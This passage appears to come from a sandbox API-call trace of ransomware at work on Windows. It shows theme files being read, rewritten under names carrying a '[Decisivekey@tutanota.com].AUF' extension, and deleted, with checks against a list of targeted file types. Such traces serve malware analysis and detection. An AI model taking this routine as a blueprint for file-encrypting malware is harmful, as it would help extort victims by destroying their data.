hTemplateFile=0x0) returned 0x228 [0225.524] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=69047) returned 1 [0225.524] CloseHandle (hObject=0x228) returned 1 [0225.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm")) returned 0x20 [0225.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.524] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.524] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0225.525] GetLastError () returned 0x0 [0225.525] ReadFile (in: hFile=0x228, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x10db7, lpOverlapped=0x0) returned 1 [0225.540] WriteFile (in: hFile=0x200, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x10dc0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x10dc0, lpOverlapped=0x0) returned 1 [0225.541] ReadFile (in: hFile=0x228, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.541] WriteFile (in: hFile=0x200, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0225.541] SetEndOfFile (hFile=0x200) returned 1 [0225.541] CloseHandle (hObject=0x200) returned 1 [0225.541] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.541] SetEndOfFile (hFile=0x228) returned 1 [0225.542] CloseHandle (hObject=0x228) returned 1 [0225.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.542] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm")) returned 1 [0225.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0225.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0225.543] lstrlenW (lpString=".doc") returned 4 [0225.543] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.543] lstrlenW (lpString=".docx") returned 5 [0225.543] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0225.543] lstrlenW (lpString=".pdf") returned 4 [0225.543] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.543] lstrlenW (lpString=".xls") returned 4 [0225.543] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.543] lstrlenW (lpString=".xlsx") returned 5 [0225.543] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0225.543] lstrlenW (lpString=".ppt") returned 4 [0225.543] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0225.543] lstrlenW (lpString=".zip") returned 4 [0225.543] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.543] lstrlenW (lpString=".rar") returned 4 [0225.543] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.543] lstrlenW (lpString=".bz2") returned 4 [0225.543] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.543] lstrlenW (lpString=".7z") returned 3 [0225.543] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0225.543] lstrlenW (lpString=".dbf") returned 4 [0225.543] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0225.543] lstrlenW (lpString=".1cd") returned 4 [0225.543] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0225.543] lstrlenW (lpString=".jpg") returned 4 [0225.543] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0225.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0225.543] lstrlenW (lpString=".doc") returned 4 [0225.543] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.543] lstrlenW (lpString=".docx") returned 5 [0225.543] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0225.543] lstrlenW (lpString=".pdf") returned 4 [0225.543] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.543] lstrlenW (lpString=".xls") returned 4 [0225.543] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.543] lstrlenW (lpString=".xlsx") returned 5 [0225.543] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0225.543] lstrlenW (lpString=".ppt") returned 4 [0225.543] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0225.543] lstrlenW (lpString=".zip") returned 4 [0225.543] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.543] lstrlenW (lpString=".rar") returned 4 [0225.544] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.544] lstrlenW (lpString=".bz2") returned 4 [0225.544] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.544] lstrlenW (lpString=".7z") returned 3 [0225.544] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0225.544] lstrlenW (lpString=".dbf") returned 4 [0225.544] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0225.544] lstrlenW (lpString=".1cd") returned 4 [0225.544] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0225.544] lstrlenW (lpString=".jpg") returned 4 [0225.544] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.544] lstrcmpiW (lpString1=".INF", lpString2=".AUF") returned 1 [0225.544] lstrlenW (lpString="BLUECALM.INF") returned 12 [0225.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.544] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=551) returned 1 [0225.544] CloseHandle (hObject=0x228) returned 1 [0225.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf")) returned 0x20 [0225.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.545] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.545] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0225.545] GetLastError () returned 0x0 [0225.545] ReadFile (in: hFile=0x228, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x227, lpOverlapped=0x0) returned 1 [0225.546] WriteFile (in: hFile=0x200, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x230, lpOverlapped=0x0) returned 1 [0225.547] ReadFile (in: hFile=0x228, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.547] WriteFile (in: hFile=0x200, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.547] SetEndOfFile (hFile=0x200) returned 1 [0225.547] CloseHandle (hObject=0x200) returned 1 [0225.547] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.547] SetEndOfFile (hFile=0x228) returned 1 [0225.547] CloseHandle (hObject=0x228) returned 1 [0225.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.548] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf")) returned 1 [0225.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0225.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0225.548] lstrlenW (lpString=".doc") returned 4 [0225.548] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.548] lstrlenW (lpString=".docx") returned 5 [0225.548] lstrcmpiW (lpString1=".docx", lpString2="M.INF") returned -1 [0225.548] lstrlenW (lpString=".pdf") returned 4 [0225.548] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.548] lstrlenW (lpString=".xls") returned 4 [0225.548] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.548] lstrlenW (lpString=".xlsx") returned 5 [0225.548] lstrcmpiW (lpString1=".xlsx", lpString2="M.INF") returned -1 [0225.548] lstrlenW (lpString=".ppt") returned 4 [0225.548] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0225.548] lstrlenW (lpString=".zip") returned 4 [0225.548] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.548] lstrlenW (lpString=".rar") returned 4 [0225.548] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.548] lstrlenW (lpString=".bz2") returned 4 [0225.548] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.548] lstrlenW (lpString=".7z") returned 3 [0225.548] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0225.548] lstrlenW (lpString=".dbf") returned 4 [0225.548] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0225.548] lstrlenW (lpString=".1cd") returned 4 [0225.548] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0225.548] lstrlenW (lpString=".jpg") returned 4 [0225.548] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0225.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0225.549] lstrlenW (lpString=".doc") returned 4 [0225.549] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.549] lstrlenW (lpString=".docx") returned 5 [0225.549] lstrcmpiW (lpString1=".docx", lpString2="M.INF") returned -1 [0225.549] lstrlenW (lpString=".pdf") returned 4 [0225.549] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.549] lstrlenW (lpString=".xls") returned 4 [0225.549] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.549] lstrlenW (lpString=".xlsx") returned 5 [0225.549] lstrcmpiW (lpString1=".xlsx", lpString2="M.INF") returned -1 [0225.549] lstrlenW (lpString=".ppt") returned 4 [0225.549] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0225.549] lstrlenW (lpString=".zip") returned 4 [0225.549] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.549] lstrlenW (lpString=".rar") returned 4 [0225.549] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.549] lstrlenW (lpString=".bz2") returned 4 [0225.549] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.549] lstrlenW (lpString=".7z") returned 3 [0225.549] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0225.549] lstrlenW (lpString=".dbf") returned 4 [0225.549] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0225.549] lstrlenW (lpString=".1cd") returned 4 [0225.549] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0225.549] lstrlenW (lpString=".jpg") returned 4 [0225.549] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.549] lstrcmpiW (lpString1=".ELM", lpString2=".AUF") returned 1 [0225.549] lstrlenW (lpString="BLUEPRNT.ELM") returned 12 [0225.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.550] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=55942) returned 1 [0225.550] CloseHandle (hObject=0x228) returned 1 [0225.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm")) returned 0x20 [0225.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.550] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.550] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0225.550] GetLastError () returned 0x0 [0225.550] ReadFile (in: hFile=0x228, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xda86, lpOverlapped=0x0) returned 1 [0225.565] WriteFile (in: hFile=0x200, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xda90, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xda90, lpOverlapped=0x0) returned 1 [0225.566] ReadFile (in: hFile=0x228, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.566] WriteFile (in: hFile=0x200, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.566] SetEndOfFile (hFile=0x200) returned 1 [0225.566] CloseHandle (hObject=0x200) returned 1 [0225.567] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.567] SetEndOfFile (hFile=0x228) returned 1 [0225.567] CloseHandle (hObject=0x228) returned 1 [0225.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.568] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm")) returned 1 [0225.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0225.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0225.568] lstrlenW (lpString=".doc") returned 4 [0225.568] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.568] lstrlenW (lpString=".docx") returned 5 [0225.568] lstrcmpiW (lpString1=".docx", lpString2="T.ELM") returned -1 [0225.568] lstrlenW (lpString=".pdf") returned 4 [0225.568] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.568] lstrlenW (lpString=".xls") returned 4 [0225.568] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.568] lstrlenW (lpString=".xlsx") returned 5 [0225.568] lstrcmpiW (lpString1=".xlsx", lpString2="T.ELM") returned -1 [0225.568] lstrlenW (lpString=".ppt") returned 4 [0225.568] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0225.568] lstrlenW (lpString=".zip") returned 4 [0225.568] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.568] lstrlenW (lpString=".rar") returned 4 [0225.568] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.568] lstrlenW (lpString=".bz2") returned 4 [0225.568] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.568] lstrlenW (lpString=".7z") returned 3 [0225.568] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0225.568] lstrlenW (lpString=".dbf") returned 4 [0225.568] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0225.568] lstrlenW (lpString=".1cd") returned 4 [0225.568] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0225.568] lstrlenW (lpString=".jpg") returned 4 [0225.568] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0225.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0225.568] lstrlenW (lpString=".doc") returned 4 [0225.568] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.568] lstrlenW (lpString=".docx") returned 5 [0225.569] lstrcmpiW (lpString1=".docx", lpString2="T.ELM") returned -1 [0225.569] lstrlenW (lpString=".pdf") returned 4 [0225.569] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.569] lstrlenW (lpString=".xls") returned 4 [0225.569] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.569] lstrlenW (lpString=".xlsx") returned 5 [0225.569] lstrcmpiW (lpString1=".xlsx", lpString2="T.ELM") returned -1 [0225.569] lstrlenW (lpString=".ppt") returned 4 [0225.569] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0225.569] lstrlenW (lpString=".zip") returned 4 [0225.569] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.569] lstrlenW (lpString=".rar") returned 4 [0225.569] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.569] lstrlenW (lpString=".bz2") returned 4 [0225.569] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.569] lstrlenW (lpString=".7z") returned 3 [0225.569] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0225.569] lstrlenW (lpString=".dbf") returned 4 [0225.569] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0225.569] lstrlenW (lpString=".1cd") returned 4 [0225.569] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0225.569] lstrlenW (lpString=".jpg") returned 4 [0225.569] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.569] lstrcmpiW (lpString1=".INF", lpString2=".AUF") returned 1 [0225.569] lstrlenW (lpString="BOLDSTRI.INF") returned 12 [0225.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common 